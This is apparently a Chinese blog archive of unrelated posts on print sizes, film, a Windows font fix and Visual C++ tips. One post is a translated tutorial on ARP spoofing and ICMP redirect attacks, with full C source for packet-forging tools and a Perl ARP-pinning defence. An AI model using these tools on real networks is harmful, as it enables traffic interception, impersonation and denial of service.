印刷尺寸

正度纸张:787×1092mm
开数(正度) 尺寸 单位(mm)
全开 781×1086
2开 530×760 3开 362×781
4开 390×543 6开 362×390
8开 271×390
16开 195×271
注:成品尺寸=纸张尺寸-修边尺寸

大度纸张:850*1168mm
开数(正度) 尺寸 单位(mm)
全开 844×1162
2开 581×844 3开 387×844
4开 422×581 6开 387×422
8开 290×422
注:成品尺寸=纸张尺寸-修边尺寸

常见开本尺寸(单位:mm)
开本尺寸:787 x 1092
对开:736 x 520
4开:520 x 368
8开:368 x 260
16开:260 x 184
32开:184 x 130

开本尺寸(大度):850 x 1168
对开:570 x 840
4开:420 x 570
8开:285 x 420
16开:210 x 285
32开:203 x 140

正度纸张:787×1092mm
开数(正度) 尺寸 单位(mm)
全开 781×1086
2开 530×760
3开 362×781
4开 390×543
6开 362×390
8开 271×390
16开 195×271
注:成品尺寸=纸张尺寸-修边尺寸

大度纸张:850*1168mm
开数(正度) 尺寸 单位(mm)
全开 844×1162
2开 581×844
3开 387×844
4开 422×581
6开 387×422
8开 290×422
注:成品尺寸=纸张尺寸-修边尺寸

16开 大度:210×285 正度:185×260
8开 大度:285×420 正度:260×370
4开 大度:420×570 正度:370×540
2开 大度:570×840 正度:540×740
全开 大:889×1194 小:787×1092

名片

横版:90*55mm<方角> 85*54mm<圆角>
竖版:50*90mm<方角> 54*85mm<圆角>
方版:90*90mm 90*95mm

IC卡  85x54MM

三折页广告
标准尺寸: (A4)210mm x 285mm

普通宣传册
标准尺寸: (A4)210mm x 285mm

文件封套
标准尺寸:220mm x 305mm

招贴画:
标准尺寸:540mm x 380mm

挂旗
标准尺寸:8开 376mm x 265mm

4开 540mm x 380mm

手提袋:
标准尺寸:400mm x 285mm x 80mm

信纸 便条:
标准尺寸:185mm x 260mm 210mm x 285mm

Read: 1051

[转]什么是菲林

菲林的基本组成部分别是:(1)用作感光的药膜(又称「乳剂」);以及用作承托药膜的(2)片基(Film base)。

(1)药膜(乳剂)

药膜是由在菲林胶片表层(片基)上的感光化学物质,它们由一些感光的晶体微粒组成,而菲林的片基,则是透明的胶片,用作承托药膜。

菲林药膜内的粒子是要在显微镜下才能看到的微粒,因此,由菲林拍出的影像,可以作高倍数放大,如在一定的距离外观看,也不一定看到有明显的粒子,这一点正是传统菲林远胜于目前大约2~3百万像素的数码相机。

药膜的特性是它们在曝光后会实时改变其结构,但其具体的化学变化特性,对摄影师来说,特别是初学者来说,其实并不重要,变化的最后结果才是重要的。

但粗略地了解一下其变化原理还是必须的。当我们拍摄照片的时候,影像的光束穿过镜头,进入相机内并投射在菲林平面的药膜上,使药膜上的晶体粒子感光。晶体粒子受光后改变其结构并和其它晶体结合成块状,投射在药膜上的光越多,晶体改变并结成的块状也越多。投射在药膜上的光少,则晶体改变及结成块状的也就少了。因此,不同的光度射在菲林上就会产生不同数目、大小、形状的改变了结构的晶体,形成一个还未看见的影像。

这一个我们看不见的影像叫做「潜在影像」(Latent image)。要把这一个潜在影像转变为稳定的、可见的影像,我们必须将菲林片进行「显影」(Develop),这一过程一般会交由冲晒店去做,流行的彩色负片显影会以C-41程序或相若的程序进行,而幻灯片则用E-6程序冲洗,但传统的黑白菲林则用D76程序或有关菲林指定的程序。

以黑白菲林为例,当菲林以D76显影时,已改变结构的晶体会变为黑色银团,形成「负像」(negative)。没有被光照射的晶体则未改变其结构,其后在定影过程中被定影液(Fixer)冲洗掉,只会留下极淡的甚至透明的部分。
结果是菲林上受光多的地方影像「厚」,受光少的地方影像则显得「薄」,没有受光的部分则是透明的,形成一个「负像」(Negative)。

显影时间及湿度有一定的规定,如时间长了,菲林的药膜亦会「厚」了,反之时间短了,则药膜亦会「薄」了。

(2)片基(Film base)
我们上述谈到的药膜必须附在片基之上,使它能够固定在一个「平面」上,现代菲林的片基是胶片,但药膜实际上可以涂在任何固体物质上,如纸张、玻璃、布料等等。因此,可以把相片做在T恤、水杯及瓷器上。其实,早期的「菲林」,是把药膜涂在玻璃片上,当然,那时的「菲林」绝不是叫作菲林(Film)的。

药膜附在片基的一面,菲林的一面有药膜,另一面则没有药膜,只有胶片。看左右正确的影像,必须看没有药膜的一面,晒相或Scan菲林时,有药膜的一边亦须向下。

(二)菲林的类型和尺寸

菲林的类型可以用形式或大小计算,主要有以下四种类型:(a)135mm卷装菲林,(b)IX 240 APS菲林(c)120卷装菲林及(d)单张的片装菲林。
(a)135菲林

135菲林是目前最流行的菲林形式,广泛地用于小型的35mm相机,包括轻便相机以及SLR相机。这种菲林原本是为电影摄影机而发明的,因此,可以说是一种历史十分悠久的菲林形式,1913年Leica相机的发明者Oscar Barnack把这一种电影用的35mm菲林用于他自制的一部雏型Leica相机上,其后大受欢迎,使35mm菲林成为历史上最流行的片幅。由于135菲林的成功,「模仿」135mm菲林的略比135细小的「126」及微型的「110」,但两者均已淘汰,而135菲林却仍是菲林的主流。

(b)IX 240 (APS)菲林

这是由Kodak与Fuji、Nikon、Canon、Minolta等共同开发的一种新的菲林形式,于1997年才推出市场可以说是菲林制成的「新贵」,它的特点是把信息交换功能(IX)加入传统的菲林之上,使一卷菲林同时有三种大小不同的格式,此外,菲林未拍完也可以抽出,稍后才再放入相机再拍摄。优点是比135方便,但片幅较135略细,而且APS冲晒较135贵。是故,APS是否能「成功」,还待时间考验。

(c)120卷装菲林

120菲林是一种卷在胶轴上的卷装菲林,并有一层面纸背保护菲林,可以在装片和卸片时提供防止走光的保护。「120」菲林用于中型片幅的相机,例如Pentax、Rollei、Hasselblad、Fuji、Bronica、Contax 645或Mamiya等中幅相机。

120的片幅大约为6cm(2.25吋)高,但横度的尺寸视乎不同相机而变,流行的有三种基本画幅尺寸是:

(a)6×4.5cm(2.25"×2.25")
(b)6×6cm(2.25"×2.25")
(c)6×7cm(2.25"×3")

最早期流行的120片幅是6×6cm,因为Rolleiflex的双镜反光机相机的受欢迎而流行起来,而6×6现在仍是中型120单镜反光机最流行的片幅。由于画面是正方形的,其优点是不需也不可以转动相机来拍摄直度,对于时装或人像摄影师来说,用6×6拍摄的照片,在摄后的剪裁有甚高的可塑性。但另一方面,如果你想放大成8×10或16×20的照片则必须作裁剪,一卷120菲林可拍12幅6×6的照片。

另一流行120片幅是6×4.5cm,最大的特点是645相机比6×6或6×7相机小巧得多,像Pentax 645N、Mamiya 645和Bronica ETR-Si相机,均比6×6的Bronica SQ-Ai或6×7的Mamiya RZ小得多,645相机把35mm相机的便携性和较大型片幅的优点结合起来,而且,自从有645的AFSLR出现,645的片幅更受欢迎了。

Pentax 67或Mamiya RZ 67的6×7cm的片幅则可提供大幅长方度的片幅,用途亦十分广泛,因为长度始终是主流,故6×7在商品摄影中比645或6×6均优越,但6×6则多用人像及时装摄影。645则是风景摄影的首选。特别是近年面世的645 AFSLR,如Contax 645及Mamiya 645,均十分受摄影师欢迎。

额外一提6cm高的菲林有两种基本长度:「120」和「220」。两者都是6cm宽,但220只在末尾有纸背,120则由头到尾都有纸背。由于取消卷片中间的纸背,故220能在大约同样粗幼的卷轴中卷更长的菲林。这样,120每卷可拍6×6照片12张,而220则每卷可拍24张。除此之外,120 和220菲林是完全相同的。

大多数120的SLR相机有可随时拆换的片匣。当你为120相机配多一个片匣时,你便可以在外影时有更大的灵活性。例如,你可以利用一个片匣安装黑白菲林,在另一片匣中装彩色幻灯片,甚至多一个装彩色负片。每个片匣都可以随时由相机上拆下,甚至其内的菲林只有一部分曝了光,拆换片匣也不会使菲林走光。把另一个片匣装上,再拍几张之后又再取下,之后又把第一个片匣装上再拍摄剩下的菲林,方便吧!此点是135相机绝对比不上的,除非用有IX功能的 APS相机,则亦可随时换菲林。

随时可装卸片匣的另一个好处,是用在需要快速连续拍摄时可预早在多个片匣装妥菲林,当拍摄完片匣中的一卷时,摄影师可以拆下片匣并立即装上另一片匣,减少在拍摄中错失重要时刻的可能性,如有拍摄助手的话,则可把已曝光的菲林取出再换上一卷新菲林,这样的过程可以反复进行;此外,大部分120单镜反光机也有不同片幅的片匣,如Bronica SQ-A,便有6×6,6×4.5,135「全景」及135标准度的片匣。

(d)单张菲林

单张菲林是指单独一张的菲林,英文叫作Sheet film,用于大片幅的专业景式相机(View camera)。最常用的单张菲林片幅是4×5英吋,这一片幅的相机又称为「45机」。例如SINAR, HORSEMAN, LINHOF及ARCASS均有此类相机,它几乎是专业商品摄影少不了的设备,事实上,对商品摄影来说,前述的35mm及120均「未入流」,并以4×5 吋的片幅为标准。

Read: 999

关于ARP和ICMP

对于旁观者来说,事物的缺点和优点往往是同时存在的。我很高兴可以向你们显示两
个正规的协议——arp和icmp,当你用一些特殊的方法使用它们的时候,却得到意想不到的结果。
相对于被动攻击(网络监听sniffing)来说,主动攻击使用的并不普遍——许多管理
员都拥有一个网络监听工具,帮助他们管理局域网。在你的LAN中,主动攻击将会给你的生活添
加光彩和乐趣。你知道,仅仅是一些技术细节使得这些角落有些昏暗不明。那么,我们去看看
那里究竟有些是什么。
我们首先描述一下网络欺骗(spoofing)和拒绝服务(DoS-deny of service)。象IP
盲攻击一样,网络攻击常常非常普通并且功能强大,但是对使用者来说,需要做大量的工作(常
常是猜),而且难于实行。但是ARP欺骗正好相反,它非常容易使用且方便。

一、ARP欺骗

ARP欺骗往往应用于一个内部网络,我们可以用它来扩大一个已经存在的网络安全漏洞。
如果你可以入侵一个子网内的机器,其它的机器安全也将受到ARP欺骗的威胁。
让我们考虑一下的网络结构
IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
hostname cat rat dog bat
hw addr AA:AA BB:BB CC:CC DD:DD
所有的主机在以太网中以简单的方式进行连接(没有交换机,智能HUB)。你是cat,你
具有root权限,你的目标是侵入dog。而你知道dog信任rat,所以如果你能伪装成rat,那么你就
能获得一些意外的东西。
也许你首先想到的是,“为什么我不把我的IP设成rat的,然后…”,这种方式无法工
作,无法可靠的工作。如果你将cat的IP设置成10.0.0.2,那么cat将以这个IP回答ARP请求。但
是rat也会的。这样你们就进入了一个纯粹的竞争状态,而这场比赛没有赢家。相反的,你会轻
易的输掉这场比赛,因为许多工具会立即发现这种IP冲突的现象,抱怨之声随之而来。一些网络
交通分析工具还常常对它进行纪录。在网络管理员的日志文件中还会保留一条恶心的纪录(cat
的物理地址),这可不是你想要的。你的不到你想要的东西,并且与你的目标背道而驰。
这个东西是你想要的,一个攻击程序——send_arp.c,一个非常有效的工具。正如它的
名字所示,它发送一个ARP包(ARP回答,准确的说:由于这个协议是无状态的,即使在没有请求
的时候也可以做出应答。请求同应答是一样的。)向网络上,你可以把这个包做成你想要的样子。
而你想要的只不过是可以去定制源IP与目的IP,还有硬件地址。
当你进行ARP欺骗的时候,你不希望你的网卡乱说话,那么你可以用“ifconfig eth0 -arp”
关掉你的ARP协议。当然,无论如何你都需要ARP的信息,手动的构建它并使它发向内核。重要的
事你要获得你周围人们的信任。在这个例子中,你希望dog认为rat的硬件地址是AA:AA(cat),
所以你发送一个ARP应答,它的源地址是10.0.0.2,源硬件地址是AA:AA,目标地址是10.0.0.3和目
标硬件地址是CC:CC。现在,dog完全相信rat的硬件地址是AA:AA。当然dog中缓存会过期,所以它
需要更新(重新发送请求)。多长时间发出请求,各个操作系统不同,但是大多来说是40秒钟左
右。经常发送ARP应答,这对你来说不会有坏处的。
对于ARP缓存处理方法的不同会带来问题的复杂性。一些操作系统(例如Linux)会用向
缓存地址发非广播的ARP请求来要求更新缓存(就象你妻子打电话来看你在不在一样)。这种缓
存更新会给你增加麻烦,会使你刚刚伪造的ARP缓存被更改掉,所以必须避免此事发生。经常的
向dog发出应答数据,这样它就不会发出请求。正是预防为主。对于rat来说,它根本就没有机会
来改变这一切。
所以过程是简单的。首先来设置网络接口别名(ifconfig eth0:1 10.0.0.2),添加rat
的IP地址并且打开ARP协议(ifconfig eth0 arp)——你需要设置你的ARP缓存,当没有ARP时,
它不会工作。然后在正确的网络接口上设置到dog的路由。再设置dog的ARP缓存。最后,关掉网络
接口的ARP功能。这样一切就OK了。
现在,当你用send_arp将毒液注入之后(dog和rat),那么,dog就会认为,你就是rat。
一定要记住,要持续不断的向dog和rat发出ARP包。
这种攻击方式就仅仅工作在局域网内(通常的,ARP包是不会路由的)。一个有趣的尝试
是,把我们上述试验中dog替换成路由器,如果可以实现的话(我不确定它是否会永远成立,路由
器的ARP功能不是那么容易欺骗的),你可以轻易的冒充这个局域网内的机器去欺骗这个Internet
世界了。所以目标可以是任何一台机器,但是你要伪装的机器,必须是这个局域网内的。
除了欺骗以外,你还可以用ARP作很多事。蓝天之下,皆可任你遨游。或者,DoS也是一个
非常有用的程序。
给rat一个错误的硬件地址,是一个非常有效的让它闭嘴的方法。你可以避免它向一些特
殊的机器发出请求(一个ARP缓冲池通常可以容括整个网络的内容,所以你可以在一段时间内有效
的防止它向其它机器发出请求)。非常明显目标也可以是一台路由器。干扰缓存需要两步:搅乱被
伪装的机器和你不希望它与之通讯的机器。这种方法不是常常奏效,当这台机器发现缓存中没有目
标机器时,会主动发出ARP请求。当然你的下一滴毒液会迅速注入,但是你需要经常维持这种状态。
一个比较有效的方法是,给rat一个错误的dog硬件地址,这样rat既能保持正常的工作状态,又不
会干扰你的活动。同样的,这种方法也依赖于不同的环境,通常的情况是rat会经常的向错误的目
标发出各种不同的包,目标会返回ICMP不可抵达信息,从而用一种不正当的方式维持了连接。这种
伪装的连接可以推迟缓存的更新时间。在Linux上,我们可以是更新时间从1分钟提升到10分钟。在
这一段时间内,你已经可以完成一个TCP连接可以完成的大多数事情了。
这里存在一个有趣被称为“无理ARP”。在这个ARP请求包中,源IP与目的IP是相同的,通
常它是经过以太网广播进行发送。一些执行程序认为这是一种特殊情况——系统发出的自身更新信
息,并且将这个请求添加在自己的缓存中。这种方式里,影响的是整个网络。这是毋庸置疑的,但
这并不是ARP协议的一部分,而是由执行者决定是否作(或是不作),这渐渐的变得不受人欢迎。
ARP也可以用来开一些非常专业的笑话。假想一下某人设置了一个中继器或者是一个管道,
仅仅是利用自己的机器去骗取两台相邻机器的信任,并且把通讯的包都发给这台机器。如果这台机
器仅仅是转发数据,那么谁也不会发现。但是当它仅仅作一些很少的改动时,就会给你添加非常大
的麻烦。例如,随机的更改数据包中的几位,这样就会造成校验和错误。数据流好像是毫发无损,
却会毫无原因的出现不可预料的错误。

二、ICMP重定向

另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议——ICMP重
定向。这种重定向通常是由你的默认路由器发来的,通告你有一个到达某一网络的更近的路由。
最初,既可以通告网络重定向,也可以通告主机的重定向,但是现在,由于网络重定向被否决,
仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包(必须由默认路由器发来,发向重
定向机器,新的路由应该是一个网络的直接连接等等),接收者会对系统的路由表进行更新。
这是ICMP的安全问题。伪装一个路由器的IP地址是简单的,icmp_redir.c正是作的这个
工作。RFC声明系统必须遵循这个重定向,除非你是路由器。实际上几乎所有的系统都支持这一
点(除了vanilla Linux 2.0.30)。
ICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新,路由表不存在的过期问
题。并且不需要在本地网络,你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后(
包确切抵达),目标就不会再和网络上的一些机器进行通讯(是的,并不是所有的机器,但是一
些与目标机器不在同一个网络上的机器)。域名服务器会是一个非常好的攻击目标。

/* send_arp.c
这个程序发送ARP包,由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下,
也可以运行在其它的有SOCK_PACKET的Unix系统上。
这个程序是对上述理论的验证,仅此而已。
*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet.n
tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %sn",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-‘0’;
else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-‘0’;
else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ‘:’)str++;
}
}


and

/* icmp_redir.c
本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30
上测试通过,并且对大多数的Unix机器有效。
这个程序是对上述理论的验证,仅此而已。
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION 4

struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.
yuri volobuev’97n
tusage: icmp_redir gw_host targ_host dst_host dummy_hostn"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %sn",str);
exit(1);
}
}
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

三、解决方案

对于大多数人来说,ARP是一个隐藏的底层协议。你可以时不时的观察它,但是平常不
会有人对它发生兴趣。你可以用arp命令来检查你的ARP缓存,但是当一个网络出现问题的时候,
这个并不是我们首先想到的。Windows也存在这个命令,记住这一点也许对你有帮助。但是当一
个ARP欺骗通过网关从另一个网络发向你时,恐怕你也无能为力了。同样的,你也可以在你的路
由表中发现重定向的路由信息(route 命令,用“D”标志来标明)。
ARP攻击设计来攻击10Base2以太网。如果网络已一些比较先进的方式进行连接,通常是
智能HUB或交换机,那么攻击就很容易被发现,甚至是不可能的(类似于被动攻击)。所以这是
一个向你的老板要求更新网络设备的理由。
这么想起来,ICMP重定向真是一个非常疯狂的想法。首先,一些网络的结构非常简单,
对路由表不需要任何添加;其次,大多数的稳定的网络上,仅仅是用手动的办法来更新路由。这
并不是一个经常更新的工作,为什么要通过ICMP呢?最后,这个对于你来说是非常危险的,你可
以在你的系统上关闭ICMP重定向,这样可以减少同RFC1122的冲突。哎,这可不容易呀!在Linux
这种提供源码的机器上,你可以重新编译内核。在Irix 6.2和一些其它的系统上,可以“set
icmp_dropredirects=1”。这与其它的OS,我也不知道有什么办法。
时间证明了这个真理:不要信任未确认的主机。否则,网络上帝不会对你施予怜悯的。
一些人认为“我有防火墙,我怕谁”,认为一些安全问题对它来说无关紧要。我承认防
火墙的作用,但是这并不是经常有效。
想象这样一个环境,所有的机器都直接与Internet相连,你不得不与你不了解的人共用
你的内部网,他们使用的是vanilla SGI 的机器,而他们简直是在到处告诉别人“来攻击我吧,
我的买主使它非常简单”(是这样的,那些人认识Unix,从侏罗纪公园…),另外,通向你的
路由器由别的机构控制。让我们来到一个标准的网络环境,它会提供我们安全,不受外部的攻击。
人们在这里工作,使用电脑。同样,这里的每台机器也存在安全问题。所以,当你下一次提到防
火墙的时候,请记住它并不能保护每一个人。
John Goerzen提供了一个Perl脚本,可以在系统启动时运行。它主要是在Linux机器中
维持一个已知的IP地址与硬件地址的缓存,设置标志,以使其不会被更新和改变。配置文件非常
简单——IP addr 配 MAC addr,用空格键分割,“#”作为注释。
这个脚本仅仅在Linux机器上测试过——在其它平台上的人需要修改arp命令的格式。
注意:脚本需要运行在网络接口启动之后,服务和客户运行之前;另外,一些人会在
ARP被锁定时窃取连接。以下是它的脚本:
#!/usr/bin/perl
# Program: forcehwaddr
# Program to run ARP to force certain tables.

# Specify filenames to read from on command line, or read from stdin.

foreach (<>) { # For each input line….
chomp; # Strip if CR/LF
if (/^#/) { next; } # If it’s a comment, skip it.
if (((($host, $hw) = /s*(.+?)s+(S+)s*/) == 2) &&
!(/^#/)) {
# The text between the slashes parses the input line as follows:
# Ignore leading whitespace. (s*)
# Then, start matching and put it into $host ($host, (.+?))
# Skip over the whitespace after that (s+)
# Start matching. Continue matching until end of line or optional
# trailing whitespace.

# Then, the if checks to see that both a
# host and a hardware address were matched.
# (2 matches). If not, we skip the
# line (assuming it is blank or invalid or something).
# The second part of the if checks to see if the line starts with
# a pound sign; if so, ignore it (as a comment).

# Otherwise, run the appropriate command:
printf("Setting IP %-15s to hardware address %sn", $host, $hw);
system "/usr/sbin/arp -s $host $hwn";
}
}

Read: 803

找回丢失的[安装新字体]

在控制面板的「字体」设置里,「安装新字体」这个项目不见了,无法新增字体该怎么办? 其实,应该不只有「安装新字体」这个项目不见,开启旧文件、打印,以及在字体菜单上的「查看」里,隐藏字体变化、依相似性列出字体,这些都有可能会不见。
造成这种情形的原因可能有三种:
·Fonts 数据夹的属性不是「系统」与「只读」(Fonts 文件夹属性一定要是系统与只读)。
·C:WindowsFonts 下的 Desktop.ini 文件损坏。
·C:WindowsSystem 下的 Fontext.dll 文件损坏。
Fonts 文件夹的属性不是「系统」与「只读」的解决方法:
·到 MSDOS 模式下,在 C:/> 输入下面的指令,以切换到 Windows 所在文件夹。
·cdwindows ·然后再键入 attrib +s +r fonts
·关机,然后重新进入 Windows,字体文件夹就可以恢复正常了。
属性已经更改,但是还是没有「安装新字体」选项,可能是你 Font 文件夹下的Desktop.ini 文件损坏,解决方法如下:
·启动在 MS-DOS 模式(Command Prompt Only)
·从原版光盘中解压缩出 Desktop.ini , copy 到 C:WindowsFonts 下即可。Desktop.ini 在 Windows 98 是在 Win98_40.cab中,Windiws 98 SE 是在 Win98_51.cab 里。
以上都试过,仍无效,就是 Fontext.dll 文件损坏,解决方法如下:
·启动在 MS-DOS 模式(Command Prompt Only)
·从原版光盘中解压缩出 Fontext.dll , copy 到 C:WindowsSystem 下即可(盖掉原先旧的)。

Read: 757

VC小技巧15则

一、 一次只运行一个程序实例
下列两种方式都可以实现,建议采用第二种方式:
1、 if( FindWindow(NULL,"程序标题"))
         exit(0);
2、BOOL CDemoTBarEApp::InstanceIsRun()
{
HANDLE m_hMutex;
m_hMutex = ::CreateMutex(NULL, TRUE, _T("YourApplication"));
ASSERT(m_hMutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
m_hMutex = NULL;
return TRUE;//实例已经运行
}
return FALSE;//实例未运行
}

二、 装载光标
SetCursor(AfxGetApp()->LoadStandardCursor(IDC_WAIT));
其中::SetCursor()是全局函数,用来设置整个例程的光标参数是宏定义光标句柄。AfxGetApp ()是一个系统函数,它返回当前的一个CWinApp对象。其成员函数LoadStandardCursor()用来读取一个系统指针,每一种系统指针的具体宏定义如下:
IDC_APPSTARTING 带小沙漏的标准箭头
IDC_ARROW 标准箭头
IDC_CROSS 十字光标(用于定位)
IDC_HAND Windows 2000:手型
IDC_HELP 带问号的箭头
IDC_IBEAM I型标
IDC_ICON Obsolete for applications marked version 4.0 or later.
IDC_NO   禁止符号
IDC_SIZE Obsolete for applications marked version 4.0 or later. Use IDC_SIZEALL.
IDC_SIZEALL 十字箭头
IDC_SIZENESW 指向东北和西南的双向箭头
IDC_SIZENS 指向南和北的双向箭头
IDC_SIZENWSE 指向西北和东南的双向箭头
IDC_SIZEWE 指向东西的双向箭头
IDC_UPARROW 上箭头
IDC_WAIT 沙漏

三、获得主框架:
CMainFrame * pMainframe = (CMainFrame *) AfxGetApp()->m_pMainWnd;
.获取应用程序的实例句柄:
      Example: HANDLE hInstance=AfxGetInstanceHandle();

获得应用程序主窗口的指针:
      Example: AfxGetMainWnd() ->ShowWindow(SW_SHOWMAXMIZED); //使程序最大化

四、重新建立字体的代码
if(m_fontLogo.m_hObject)
m_fontLogo.Detach();

m_fontLogo.CreateFont(nHeight, 0, 0, 0, nWeight, bItalic, bUnderline,0,0,0,0,0,0, Name);

五、用指定颜色填充区域
dc.FillSolidRect(rect, ::GetSysColor(COLOR_3DFACE));

六、绘制立体字体效果的字体,很值得一看
void CTestView::OnPaint()
{
CPaintDC dc(this); // device context for painting

CRect rect;
GetWindowRect(rect);

CFont m_fontLogo;
m_fontLogo.CreateFont(24, 0, 0, 0, FW_BOLD, true,
FALSE,0,0,0,0,0,0, "Arial");
CString m_LogoText;
m_LogoText=_T("Benlux Pro3D System");
dc.SetBkMode(TRANSPARENT);

CFont * OldFont = dc.SelectObject(&m_fontLogo);

// draw text in DC
COLORREF OldColor = dc.SetTextColor( ::GetSysColor( COLOR_3DHILIGHT));

rect.right = rect.Width();
rect.bottom = rect.Height();
rect.left = rect.top = 0;
dc.FillSolidRect(rect, ::GetSysColor(COLOR_3DFACE));

dc.DrawText( m_LogoText, rect + CPoint(1,1), DT_SINGLELINE | DT_LEFT | DT_VCENTER);
